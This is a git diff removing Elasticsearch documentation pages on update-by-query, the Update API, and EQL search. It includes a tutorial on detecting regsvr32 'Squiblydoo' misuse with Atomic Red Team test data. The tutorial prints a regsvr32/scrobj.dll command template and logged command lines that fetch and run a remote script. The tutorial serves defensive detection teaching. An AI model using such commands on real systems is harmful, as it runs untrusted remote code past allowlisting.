-POST _update_by_query/r1A2WoRbTwKZ516z6NEs5A:36619/_rethrottle?requests_per_second=-1
---------------------------------------------------
-
-The task ID can be found using the <<tasks, tasks API>>.
-
-Just like when setting it on the `_update_by_query` API, `requests_per_second`
-can be either `-1` to disable throttling or any decimal number
-like `1.7` or `12` to throttle to that level. Rethrottling that speeds up the
-query takes effect immediately, but rethrotting that slows down the query will
-take effect after completing the current batch. This prevents scroll
-timeouts.
-
-[discrete]
-[[docs-update-by-query-manual-slice]]
-===== Slice manually
-Slice an update by query manually by providing a slice id and total number of
-slices to each request:
-
-[source,console]
-----------------------------------------------------------------
-POST my-index-000001/_update_by_query
-{
-  "slice": {
-    "id": 0,
-    "max": 2
-  },
-  "script": {
-    "source": "ctx._source['extra'] = 'test'"
-  }
-}
-POST my-index-000001/_update_by_query
-{
-  "slice": {
-    "id": 1,
-    "max": 2
-  },
-  "script": {
-    "source": "ctx._source['extra'] = 'test'"
-  }
-}
-----------------------------------------------------------------
-// TEST[setup:my_index_big]
-
-Which you can verify works with:
-
-[source,console]
-----------------------------------------------------------------
-GET _refresh
-POST my-index-000001/_search?size=0&q=extra:test&filter_path=hits.total
-----------------------------------------------------------------
-// TEST[continued]
-
-Which results in a sensible `total` like this one:
-
-[source,console-result]
-----------------------------------------------------------------
-{
-  "hits": {
-    "total": {
-        "value": 120,
-        "relation": "eq"
-    }
-  }
-}
-----------------------------------------------------------------
-
-[discrete]
-[[docs-update-by-query-automatic-slice]]
-===== Use automatic slicing
-
-You can also let update by query automatically parallelize using
-<<slice-scroll>> to slice on `_id`. Use `slices` to specify the number of
-slices to use:
-
-[source,console]
-----------------------------------------------------------------
-POST my-index-000001/_update_by_query?refresh&slices=5
-{
-  "script": {
-    "source": "ctx._source['extra'] = 'test'"
-  }
-}
-----------------------------------------------------------------
-// TEST[setup:my_index_big]
-
-Which you also can verify works with:
-
-[source,console]
-----------------------------------------------------------------
-POST my-index-000001/_search?size=0&q=extra:test&filter_path=hits.total
-----------------------------------------------------------------
-// TEST[continued]
-
-Which results in a sensible `total` like this one:
-
-[source,console-result]
-----------------------------------------------------------------
-{
-  "hits": {
-    "total": {
-        "value": 120,
-        "relation": "eq"
-    }
-  }
-}
-----------------------------------------------------------------
-
-Setting `slices` to `auto` will let Elasticsearch choose the number of slices
-to use. This setting will use one slice per shard, up to a certain limit. If
-there are multiple source data streams or indices, it will choose the number of slices based
-on the index or backing index with the smallest number of shards.
-
-Adding `slices` to `_update_by_query` just automates the manual process used in
-the section above, creating sub-requests which means it has some quirks:
-
-* You can see these requests in the
-<<docs-update-by-query-task-api,Tasks APIs>>. These sub-requests are "child"
-tasks of the task for the request with `slices`.
-* Fetching the status of the task for the request with `slices` only contains
-the status of completed slices.
-* These sub-requests are individually addressable for things like cancellation
-and rethrottling.
-* Rethrottling the request with `slices` will rethrottle the unfinished
-sub-request proportionally.
-* Canceling the request with `slices` will cancel each sub-request.
-* Due to the nature of `slices` each sub-request won't get a perfectly even
-portion of the documents. All documents will be addressed, but some slices may
-be larger than others. Expect larger slices to have a more even distribution.
-* Parameters like `requests_per_second` and `max_docs` on a request with
-`slices` are distributed proportionally to each sub-request. Combine that with
-the point above about distribution being uneven and you should conclude that
-using `max_docs` with `slices` might not result in exactly `max_docs` documents
-being updated.
-* Each sub-request gets a slightly different snapshot of the source data stream or index
-though these are all taken at approximately the same time.
-
-[discrete]
-[[picking-up-a-new-property]]
-===== Pick up a new property
-
-Say you created an index without dynamic mapping, filled it with data, and then
-added a mapping value to pick up more fields from the data:
-
-[source,console]
---------------------------------------------------
-PUT test
-{
-  "mappings": {
-    "dynamic": false,   <1>
-    "properties": {
-      "text": {"type": "text"}
-    }
-  }
-}
-
-POST test/_doc?refresh
-{
-  "text": "words words",
-  "flag": "bar"
-}
-POST test/_doc?refresh
-{
-  "text": "words words",
-  "flag": "foo"
-}
-PUT test/_mapping   <2>
-{
-  "properties": {
-    "text": {"type": "text"},
-    "flag": {"type": "text", "analyzer": "keyword"}
-  }
-}
---------------------------------------------------
-
-<1> This means that new fields won't be indexed, just stored in `_source`.
-
-<2> This updates the mapping to add the new `flag` field. To pick up the new
-field you have to reindex all documents with it.
-
-Searching for the data won't find anything:
-
-[source,console]
---------------------------------------------------
-POST test/_search?filter_path=hits.total
-{
-  "query": {
-    "match": {
-      "flag": "foo"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  "hits" : {
-    "total": {
-        "value": 0,
-        "relation": "eq"
-    }
-  }
-}
---------------------------------------------------
-
-But you can issue an `_update_by_query` request to pick up the new mapping:
-
-[source,console]
---------------------------------------------------
-POST test/_update_by_query?refresh&conflicts=proceed
-POST test/_search?filter_path=hits.total
-{
-  "query": {
-    "match": {
-      "flag": "foo"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  "hits" : {
-    "total": {
-        "value": 1,
-        "relation": "eq"
-    }
-  }
-}
---------------------------------------------------
-
-You can do the exact same thing when adding a field to a multifield.
diff --git a/docs/reference/docs/update.asciidoc b/docs/reference/docs/update.asciidoc
deleted file mode 100644
index a4998eab61d..00000000000
--- a/docs/reference/docs/update.asciidoc
+++ /dev/null
@@ -1,360 +0,0 @@
-[[docs-update]]
-=== Update API
-++++
-<titleabbrev>Update</titleabbrev>
-++++
-
-Updates a document using the specified script.
-
-[[docs-update-api-request]]
-==== {api-request-title}
-
-`POST /<index>/_update/<_id>`
-
-[[docs-update-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `index` or
-`write` <<privileges-list-indices,index privilege>> for the target index or
-index alias.
-
-[[update-api-desc]]
-==== {api-description-title}
-
-Enables you to script document updates. The script can update, delete, or skip
-modifying the document. The update API also supports passing a partial document,
-which is merged into the existing document. To fully replace an existing
-document, use the <<docs-index_,`index` API>>.
-
-This operation:
-
-. Gets the document (collocated with the shard) from the index.
-. Runs the specified script.
-. Indexes the result.
-
-The document must still be reindexed, but using `update` removes some network
-roundtrips and reduces chances of version conflicts between the GET and the
-index operation.
-
-The `_source` field must be enabled to use `update`. In addition to `_source`,
-you can access the following variables through the `ctx` map: `_index`,
-`_type`, `_id`, `_version`, `_routing`, and `_now` (the current timestamp).
-
-[[docs-update-api-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-(Required, string) Name of the target index. By default, the index is created
-automatically if it doesn't exist. For more information, see <<index-creation>>.
-
-`<_id>`::
-(Required, string) Unique identifier for the document to be updated.
-
-[[docs-update-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=if_seq_no]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=if_primary_term]
-
-`lang`::
-(Optional, string) The script language. Default: `painless`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=require-alias]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=refresh]
-
-`retry_on_conflict`::
-(Optional, integer) Specify how many times should the operation be retried when
- a conflict occurs. Default: 0.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing]
-
-`_source`::
-(Optional, list) Set to `false` to disable source retrieval (default: `true`).
-You can also specify a comma-separated list of the fields you want to retrieve.
-
-`_source_excludes`::
-(Optional, list) Specify the source fields you want to exclude.
-
-`_source_includes`::
-(Optional, list) Specify the source fields you want to retrieve.
-
-`timeout`::
-+
---
-(Optional, <<time-units, time units>>)
-Period to wait for the following operations:
-
-* <<dynamic-mapping,Dynamic mapping>> updates
-* <<index-wait-for-active-shards,Waiting for active shards>>
-
-Defaults to `1m` (one minute). This guarantees {es} waits for at least the
-timeout before failing. The actual wait time could be longer, particularly when
-multiple waits occur.
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards]
-
-[[update-api-example]]
-==== {api-examples-title}
-
-First, let's index a simple doc:
-
-[source,console]
---------------------------------------------------
-PUT test/_doc/1
-{
-  "counter" : 1,
-  "tags" : ["red"]
-}
---------------------------------------------------
-
-To increment the counter, you can submit an update request with the
-following script:
-
-[source,console]
---------------------------------------------------
-POST test/_update/1
-{
-  "script" : {
-    "source": "ctx._source.counter += params.count",
-    "lang": "painless",
-    "params" : {
-      "count" : 4
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Similarly, you could use and update script to add a tag to the list of tags
-(this is just a list, so the tag is added even it exists):
-
-[source,console]
---------------------------------------------------
-POST test/_update/1
-{
-  "script": {
-    "source": "ctx._source.tags.add(params.tag)",
-    "lang": "painless",
-    "params": {
-      "tag": "blue"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-You could also remove a tag from the list of tags. The Painless
-function to `remove` a tag takes the array index of the element
-you want to remove. To avoid a possible runtime error, you first need to
-make sure the tag exists. If the list contains duplicates of the tag, this
-script just removes one occurrence.
-
-[source,console]
---------------------------------------------------
-POST test/_update/1
-{
-  "script": {
-    "source": "if (ctx._source.tags.contains(params.tag)) { ctx._source.tags.remove(ctx._source.tags.indexOf(params.tag)) }",
-    "lang": "painless",
-    "params": {
-      "tag": "blue"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-You can also add and remove fields from a document. For example, this script
-adds the field `new_field`:
-
-[source,console]
---------------------------------------------------
-POST test/_update/1
-{
-  "script" : "ctx._source.new_field = 'value_of_new_field'"
-}
---------------------------------------------------
-// TEST[continued]
-
-Conversely, this script removes the field `new_field`:
-
-[source,console]
---------------------------------------------------
-POST test/_update/1
-{
-  "script" : "ctx._source.remove('new_field')"
-}
---------------------------------------------------
-// TEST[continued]
-
-Instead of updating the document, you can also change the operation that is
-executed from within the script.  For example, this request deletes the doc if
-the `tags` field contains `green`, otherwise it does nothing (`noop`):
-
-[source,console]
---------------------------------------------------
-POST test/_update/1
-{
-  "script": {
-    "source": "if (ctx._source.tags.contains(params.tag)) { ctx.op = 'delete' } else { ctx.op = 'none' }",
-    "lang": "painless",
-    "params": {
-      "tag": "green"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[discrete]
-===== Update part of a document
-
-The following partial update adds a new field to the
-existing document:
-
-[source,console]
---------------------------------------------------
-POST test/_update/1
-{
-  "doc": {
-    "name": "new_name"
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-If both `doc` and `script` are specified, then `doc` is ignored. If you
-specify a scripted update, include the fields you want to update in the script.
-
-[discrete]
-===== Detect noop updates
-
-By default updates that don't change anything detect that they don't change
-anything and return `"result": "noop"`:
-
-[source,console]
---------------------------------------------------
-POST test/_update/1
-{
-  "doc": {
-    "name": "new_name"
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-If the value of `name` is already `new_name`, the update
-request is ignored and the `result` element in the response returns `noop`:
-
-[source,console-result]
---------------------------------------------------
-{
-   "_shards": {
-        "total": 0,
-        "successful": 0,
-        "failed": 0
-   },
-   "_index": "test",
-   "_type": "_doc",
-   "_id": "1",
-   "_version": 7,
-   "_primary_term": 1,
-   "_seq_no": 6,
-   "result": "noop"
-}
---------------------------------------------------
-
-You can disable this behavior by setting `"detect_noop": false`:
-
-[source,console]
---------------------------------------------------
-POST test/_update/1
-{
-  "doc": {
-    "name": "new_name"
-  },
-  "detect_noop": false
-}
---------------------------------------------------
-// TEST[continued]
-
-[[upserts]]
-[discrete]
-===== Upsert
-
-If the document does not already exist, the contents of the `upsert` element
-are inserted as a new document.  If the document exists, the
-`script` is executed:
-
-[source,console]
---------------------------------------------------
-POST test/_update/1
-{
-  "script": {
-    "source": "ctx._source.counter += params.count",
-    "lang": "painless",
-    "params": {
-      "count": 4
-    }
-  },
-  "upsert": {
-    "counter": 1
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[discrete]
-[[scripted_upsert]]
-===== Scripted upsert
-
-To run the script whether or not the document exists, set `scripted_upsert` to
-`true`:
-
-[source,console]
---------------------------------------------------
-POST sessions/_update/dh3sgudg8gsrgl
-{
-  "scripted_upsert": true,
-  "script": {
-    "id": "my_web_session_summariser",
-    "params": {
-      "pageViewEvent": {
-        "url": "foo.com/bar",
-        "response": 404,
-        "time": "2014-01-01 12:32"
-      }
-    }
-  },
-  "upsert": {}
-}
---------------------------------------------------
-// TEST[s/"id": "my_web_session_summariser"/"source": "ctx._source.page_view_event = params.pageViewEvent"/]
-// TEST[continued]
-
-[discrete]
-[[doc_as_upsert]]
-===== Doc as upsert
-
-Instead of sending a partial `doc` plus an `upsert` doc, you can set
-`doc_as_upsert` to `true` to use the contents of `doc` as the `upsert`
-value:
-
-[source,console]
---------------------------------------------------
-POST test/_update/1
-{
-  "doc": {
-    "name": "new_name"
-  },
-  "doc_as_upsert": true
-}
---------------------------------------------------
-// TEST[continued]
-[NOTE]
-====
-Using <<ingest,ingest pipelines>> with `doc_as_upsert` is not supported.
-====
diff --git a/docs/reference/eql/delete-async-eql-search-api.asciidoc b/docs/reference/eql/delete-async-eql-search-api.asciidoc
deleted file mode 100644
index 107b3609d55..00000000000
--- a/docs/reference/eql/delete-async-eql-search-api.asciidoc
+++ /dev/null
@@ -1,47 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-
-[[delete-async-eql-search-api]]
-=== Delete async EQL search API
-++++
-<titleabbrev>Delete async EQL search</titleabbrev>
-++++
-
-beta::[]
-
-Deletes an <<eql-search-async,async EQL search>> or a
-<<eql-search-store-sync-eql-search,stored synchronous EQL search>>. The API also
-deletes results for the search.
-
-[source,console]
-----
-DELETE /_eql/search/FkpMRkJGS1gzVDRlM3g4ZzMyRGlLbkEaTXlJZHdNT09TU2VTZVBoNDM3cFZMUToxMDM=
-----
-// TEST[skip: no access to search ID]
-
-[[delete-async-eql-search-api-request]]
-==== {api-request-title}
-
-`DELETE /_eql/search/<search_id>`
-
-[[delete-async-eql-search-api-prereqs]]
-==== {api-prereq-title}
-
-See <<eql-required-fields>>.
-
-[[delete-async-eql-search-api-limitations]]
-===== Limitations
-
-See <<eql-syntax-limitations,EQL limitations>>.
-
-[[delete-async-eql-search-api-path-params]]
-==== {api-path-parms-title}
-
-`<search_id>`::
-(Required, string)
-Identifier for the search to delete.
-+
-A search ID is provided in the <<eql-search-api,EQL search API>>'s response for
-an <<eql-search-async,async search>>. A search ID is also provided if the
-request's <<eql-search-api-keep-on-completion,`keep_on_completion`>> parameter
-is `true`.
diff --git a/docs/reference/eql/detect-threats-with-eql.asciidoc b/docs/reference/eql/detect-threats-with-eql.asciidoc
deleted file mode 100644
index ccf8d92658d..00000000000
--- a/docs/reference/eql/detect-threats-with-eql.asciidoc
+++ /dev/null
@@ -1,387 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[eql-ex-threat-detection]]
-== Example: Detect threats with EQL
-
-beta::[]
-
-This example tutorial shows how you can use EQL to detect security threats and
-other suspicious behavior. In the scenario, you're tasked with detecting
-https://attack.mitre.org/techniques/T1218/010/[regsvr32 misuse] in Windows event
-logs.
-
-`regsvr32.exe` is a built-in command-line utility used to register `.dll`
-libraries in Windows. As a native tool, `regsvr32.exe` has a trusted status,
-letting it bypass most allowlist software and script blockers.
-Attackers with access to a user's command line can use `regsvr32.exe` to run
-malicious scripts via `.dll` libraries, even on machines that otherwise
-disallow such scripts.
-
-One common variant of regsvr32 misuse is a
-https://attack.mitre.org/techniques/T1218/010/[Squiblydoo attack]. In a
-Squiblydoo attack, a `regsvr32.exe` command uses the `scrobj.dll` library to
-register and run a remote script. These commands often look like this:
-
-[source,sh]
-----
-"regsvr32.exe  /s /u /i:<script-url> scrobj.dll"
-----
-
-[discrete]
-[[eql-ex-threat-detection-setup]]
-=== Setup
-
-This tutorial uses a test dataset from
-https://github.com/redcanaryco/atomic-red-team[Atomic Red Team] that includes
-events imitating a Squiblydoo attack. The data has been mapped to
-{ecs-ref}[Elastic Common Schema (ECS)] fields.
-
-To get started:
-
-. Download https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`].
-
-. Use the <<docs-bulk,bulk API>> to index the data:
-+
-[source,sh]
-----
-curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
-----
-// NOTCONSOLE
-
-. Use the <<cat-indices,cat indices API>> to verify the data was indexed:
-+
-[source,console]
-----
-GET /_cat/indices/my-index-000001?v=true&h=health,status,index,docs.count
-----
-// TEST[setup:atomic_red_regsvr32]
-+
-The response should show a `docs.count` of `150`.
-+
-[source,txt]
-----
-health status index            docs.count
-yellow open   my-index-000001         150
-----
-// TESTRESPONSE[non_json]
-
-[discrete]
-[[eql-ex-get-a-count-of-regsvr32-events]]
-=== Get a count of regsvr32 events
-
-First, get a count of events associated with a `regsvr32.exe` process:
-
-[source,console]
-----
-GET /my-index-000001/_eql/search?filter_path=-hits.events   <1>
-{
-  "query": """
-    any where process.name == "regsvr32.exe"                <2>
-  """,
-  "size": 200                                               <3>
-}
-----
-// TEST[setup:atomic_red_regsvr32]
-
-<1> `?filter_path=-hits.events` excludes the `hits.events` property from the
-response. This search is only intended to get an event count, not a list of
-matching events.
-<2> Matches any event with a `process.name` of `regsvr32.exe`.
-<3> Returns up to 200 hits for matching events.
-
-The response returns 143 related events.
-
-[source,console-result]
-----
-{
-  "is_partial": false,
-  "is_running": false,
-  "took": 60,
-  "timed_out": false,
-  "hits": {
-    "total": {
-      "value": 143,
-      "relation": "eq"
-    }
-  }
-}
-----
-// TESTRESPONSE[s/"took": 60/"took": $body.took/]
-
-[discrete]
-[[eql-ex-check-for-command-line-artifacts]]
-=== Check for command line artifacts
-
-`regsvr32.exe` processes were associated with 143 events. But how was
-`regsvr32.exe` first called? And who called it? `regsvr32.exe` is a command-line
-utility. Narrow your results to processes where the command line was used:
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "query": """
-    process where process.name == "regsvr32.exe" and process.command_line.keyword != null
-  """
-}
-----
-// TEST[setup:atomic_red_regsvr32]
-
-The query matches one event with an `event.type` of `creation`, indicating the
-start of a `regsvr32.exe` process. Based on the event's `process.command_line`
-value, `regsvr32.exe` used `scrobj.dll` to register a script, `RegSvr32.sct`.
-This fits the behavior of a Squiblydoo attack.
-
-[source,console-result]
-----
-{
-  "is_partial": false,
-  "is_running": false,
-  "took": 21,
-  "timed_out": false,
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "events": [
-      {
-        "_index": "my-index-000001",
-        "_id": "gl5MJXMBMk1dGnErnBW8",
-        "_source": {
-          "process": {
-            "parent": {
-              "name": "cmd.exe",
-              "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
-              "executable": "C:\\Windows\\System32\\cmd.exe"
-            },
-            "name": "regsvr32.exe",
-            "pid": 2012,
-            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
-            "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
-            "executable": "C:\\Windows\\System32\\regsvr32.exe",
-            "ppid": 2652
-          },
-          "logon_id": 217055,
-          "@timestamp": 131883573237130000,
-          "event": {
-            "category": "process",
-            "type": "creation"
-          },
-          "user": {
-            "full_name": "bob",
-            "domain": "ART-DESKTOP",
-            "id": "ART-DESKTOP\\bob"
-          }
-        }
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"took": 21/"took": $body.took/]
-// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
-
-[discrete]
-[[eql-ex-check-for-malicious-script-loads]]
-=== Check for malicious script loads
-
-Check if `regsvr32.exe` later loads the `scrobj.dll` library:
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "query": """
-    library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
-  """
-}
-----
-// TEST[setup:atomic_red_regsvr32]
-
-The query matches an event, confirming `scrobj.dll` was loaded.
-
-[source,console-result]
-----
-{
-  "is_partial": false,
-  "is_running": false,
-  "took": 5,
-  "timed_out": false,
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "events": [
-      {
-        "_index": "my-index-000001",
-        "_id": "ol5MJXMBMk1dGnErnBW8",
-        "_source": {
-          "process": {
-            "name": "regsvr32.exe",
-            "pid": 2012,
-            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
-            "executable": "C:\\Windows\\System32\\regsvr32.exe"
-          },
-          "@timestamp": 131883573237450016,
-          "dll": {
-            "path": "C:\\Windows\\System32\\scrobj.dll",
-            "name": "scrobj.dll"
-          },
-          "event": {
-            "category": "library"
-          }
-        }
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"took": 5/"took": $body.took/]
-// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
-
-[discrete]
-[[eql-ex-detemine-likelihood-of-success]]
-=== Determine the likelihood of success
-
-In many cases, attackers use malicious scripts to connect to remote servers or
-download other files. Use an <<eql-sequences,EQL sequence query>> to check
-for the following series of events:
-
-. A `regsvr32.exe` process
-. A load of the `scrobj.dll` library by the same process
-. Any network event by the same process
-
-Based on the command line value seen in the previous response, you can expect to
-find a match. However, this query isn't designed for that specific command.
-Instead, it looks for a pattern of suspicious behavior that's generic enough to
-detect similar threats.
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "query": """
-    sequence by process.pid
-      [process where process.name == "regsvr32.exe"]
-      [library where dll.name == "scrobj.dll"]
-      [network where true]
-  """
-}
-----
-// TEST[setup:atomic_red_regsvr32]
-
-The query matches a sequence, indicating the attack likely succeeded.
-
-[source,console-result]
-----
-{
-  "is_partial": false,
-  "is_running": false,
-  "took": 25,
-  "timed_out": false,
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "sequences": [
-      {
-        "join_keys": [
-          2012
-        ],
-        "events": [
-          {
-            "_index": "my-index-000001",
-            "_id": "gl5MJXMBMk1dGnErnBW8",
-            "_source": {
-              "process": {
-                "parent": {
-                  "name": "cmd.exe",
-                  "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
-                  "executable": "C:\\Windows\\System32\\cmd.exe"
-                },
-                "name": "regsvr32.exe",
-                "pid": 2012,
-                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
-                "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
-                "executable": "C:\\Windows\\System32\\regsvr32.exe",
-                "ppid": 2652
-              },
-              "logon_id": 217055,
-              "@timestamp": 131883573237130000,
-              "event": {
-                "category": "process",
-                "type": "creation"
-              },
-              "user": {
-                "full_name": "bob",
-                "domain": "ART-DESKTOP",
-                "id": "ART-DESKTOP\\bob"
-              }
-            }
-          },
-          {
-            "_index": "my-index-000001",
-            "_id": "ol5MJXMBMk1dGnErnBW8",
-            "_source": {
-              "process": {
-                "name": "regsvr32.exe",
-                "pid": 2012,
-                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
-                "executable": "C:\\Windows\\System32\\regsvr32.exe"
-              },
-              "@timestamp": 131883573237450016,
-              "dll": {
-                "path": "C:\\Windows\\System32\\scrobj.dll",
-                "name": "scrobj.dll"
-              },
-              "event": {
-                "category": "library"
-              }
-            }
-          },
-          {
-            "_index": "my-index-000001",
-            "_id": "EF5MJXMBMk1dGnErnBa9",
-            "_source": {
-              "process": {
-                "name": "regsvr32.exe",
-                "pid": 2012,
-                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
-                "executable": "C:\\Windows\\System32\\regsvr32.exe"
-              },
-              "@timestamp": 131883573238680000,
-              "destination": {
-                "address": "151.101.48.133",
-                "port": "443"
-              },
-              "source": {
-                "address": "192.168.162.134",
-                "port": "50505"
-              },
-              "event": {
-                "category": "network"
-              },
-              "user": {
-                "full_name": "bob",
-                "domain": "ART-DESKTOP",
-                "id": "ART-DESKTOP\\bob"
-              },
-              "network": {
-                "protocol": "tcp",
-                "direction": "outbound"
-              }
-            }
-          }
-        ]
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[s/"took": 25/"took": $body.took/]
-// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
-// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
-// TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]
diff --git a/docs/reference/eql/eql-search-api.asciidoc b/docs/reference/eql/eql-search-api.asciidoc
deleted file mode 100644
index 52a04be94e9..00000000000
--- a/docs/reference/eql/eql-search-api.asciidoc
+++ /dev/null
@@ -1,679 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-
-[[eql-search-api]]
-=== EQL search API
-++++
-<titleabbrev>EQL search</titleabbrev>
-++++
-
-beta::[]
-
-Returns search results for an <<eql,Event Query Language (EQL)>> query.
-
-EQL assumes each document in a data stream or index corresponds to an
-event.
-
-[source,console]
-----
-GET /my-index-000001/_eql/search
-{
-  "query": """
-    process where process.name == "regsvr32.exe"
-  """
-}
-----
-// TEST[setup:sec_logs]
-
-[[eql-search-api-request]]
-==== {api-request-title}
-
-`GET /<target>/_eql/search`
-
-`POST /<target>/_eql/search`
-
-[[eql-search-api-prereqs]]
-==== {api-prereq-title}
-
-See <<eql-required-fields>>.
-
-[[eql-search-api-limitations]]
-===== Limitations
-
-See <<eql-syntax-limitations,EQL limitations>>.
-
-[[eql-search-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Required, string)
-Comma-separated list of data streams, indices, or <<indices-aliases,index
-aliases>> used to limit the request. Accepts wildcard (`*`) expressions.
-+
-To search all data streams and indices in a cluster, use
-`_all` or `*`.
-
-[[eql-search-api-query-params]]
-==== {api-query-parms-title}
-
-`allow_no_indices`::
-(Optional, Boolean)
-+
-NOTE: This parameter's behavior differs from the `allow_no_indices` parameter
-used in other <<multi-index,multi-target APIs>>.
-+
-If `false`, the request returns an error if any wildcard expression,
-<<indices-aliases,index alias>>, or `_all` value targets only missing or closed
-indices. This behavior applies even if the request targets other open indices.
-For example, a request targeting `foo*,bar*` returns an error if an index
-starts with `foo` but no index starts with `bar`.
-+
-If `true`, only requests that exclusively target missing or closed indices
-return an error. For example, a request targeting `foo*,bar*` does not return an
-error if an index starts with `foo` but no index starts with `bar`. However, a
-request that targets only `bar*` still returns an error.
-+
-Defaults to `true`.
-
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-`ignore_unavailable`::
-(Optional, Boolean) If `true`, missing or closed indices are not included in the
-response. Defaults to `true`.
-
-`keep_alive`::
-+
---
-(Optional, <<time-units,time value>>)
-Period for which the search and its results are stored on the cluster. Defaults
-to `5d` (five days).
-
-When this period expires, the search and its results are deleted, even if the
-search is still ongoing.
-
-If the <<eql-search-api-keep-on-completion,`keep_on_completion`>> parameter is
-`false`, {es} only stores <<eql-search-async,async searches>> that do not
-complete within the period set by the
-<<eql-search-api-wait-for-completion-timeout,`wait_for_completion_timeout`>>
-parameter, regardless of this value.
-
-[IMPORTANT]
-====
-You can also specify this value using the `keep_alive` request body parameter.
-If both parameters are specified, only the query parameter is used.
-====
---
-
-`keep_on_completion`::
-+
---
-(Optional, Boolean)
-If `true`, the search and its results are stored on the cluster.
-
-If `false`, the search and its results are stored on the cluster only if the
-request does not complete during the period set by the
-<<eql-search-api-wait-for-completion-timeout,`wait_for_completion_timeout`>>
-parameter. Defaults to `false`.
-
-[IMPORTANT]
-====
-You can also specify this value using the `keep_on_completion` request body
-parameter. If both parameters are specified, only the query parameter is used.
-====
---
-
-`wait_for_completion_timeout`::
-+
---
-(Optional, <<time-units,time value>>)
-Timeout duration to wait for the request to finish. Defaults to no
-timeout, meaning the request waits for complete search results.
-
-If this parameter is specified and the request completes during this period,
-complete search results are returned.
-
-If the request does not complete during this period, the search becomes an
-<<eql-search-async,async search>>.
-
-[IMPORTANT]
-====
-You can also specify this value using the `wait_for_completion_timeout` request
-body parameter. If both parameters are specified, only the query parameter is
-used.
-====
---
-
-[role="child_attributes"]
-[[eql-search-api-request-body]]
-==== {api-request-body-title}
-
-`event_category_field`::
-(Required*, string)
-Field containing the event classification, such as `process`, `file`, or
-`network`.
-+
-Defaults to `event.category`, as defined in the {ecs-ref}/ecs-event.html[Elastic
-Common Schema (ECS)]. If a data stream or index does not contain the
-`event.category` field, this value is required.
-+
-The event category field must be mapped as a field type in the
-<<keyword,`keyword`>> family.
-
-`fetch_size`::
-(Optional, integer)
-Maximum number of events to search at a time for sequence queries. Defaults to
-`1000`.
-+
-This value must be greater than `2` but cannot exceed the value of the
-<<index-max-result-window,`index.max_result_window`>> setting, which defaults to
-`10000`.
-+
-Internally, a sequence query fetches and paginates sets of events to search for
-matches. This parameter controls the size of those sets. This parameter does not
-limit the total number of events searched or the number of matching events
-returned.
-+
-A greater `fetch_size` value often increases search speed but uses more memory.
-
-`filter`::
-(Optional, <<query-dsl,query DSL object>>)
-Query, written in query DSL, used to filter the events on which the EQL query
-runs.
-
-`keep_alive`::
-+
---
-(Optional, <<time-units,time value>>)
-Period for which the search and its results are stored on the cluster. Defaults
-to `5d` (five days).
-
-When this period expires, the search and its results are deleted, even if the
-search is still ongoing.
-
